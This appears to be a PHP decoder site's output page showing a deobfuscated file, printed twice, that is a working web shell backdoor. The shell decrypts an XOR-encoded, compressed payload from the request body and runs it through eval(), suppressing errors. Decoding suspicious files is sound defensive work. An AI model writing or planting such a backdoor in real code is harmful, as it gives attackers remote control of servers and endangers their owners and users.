Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $k="a74f7419";$kh="b27c9b5b982d";$kf="4931915f8ce5";$p="eg9oP5LZdjDZli7N"; funct..

Decoded Output download

<?php 
$k="a74f7419";$kh="b27c9b5b982d";$kf="4931915f8ce5";$p="eg9oP5LZdjDZli7N"; 
 
function x($t,$k){ 
$c=strlen($k);$l=strlen($t);$o=""; 
for($i=0;$i<$l;){ 
for($j=0;($j<$c&&$i<$l);$j++,$i++) 
{ 
$o.=$t[$i]^$k[$j]; 
} 
} 
return $o; 
} 
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) { 
@ob_start(); 
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); 
$o=@ob_get_contents(); 
@ob_end_clean(); 
$r=@base64_encode(@x(@gzcompress($o),$k)); 
print("$p$kh$r$kf"); 
} 
 
 
?> 

Did this file decode correctly?

Original Code

<?php
$k="a74f7419";$kh="b27c9b5b982d";$kf="4931915f8ce5";$p="eg9oP5LZdjDZli7N";

function x($t,$k){
$c=strlen($k);$l=strlen($t);$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++)
{
$o.=$t[$i]^$k[$j];
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}


?>

Function Calls

preg_match 1
file_get_contents 1

Variables

$k a74f7419
$p eg9oP5LZdjDZli7N
$kf 4931915f8ce5
$kh b27c9b5b982d

Stats

MD5 8c7e4aad9c0d6c2cc0015ac9ad1167c0
Eval Count 0
Decode Time 223 ms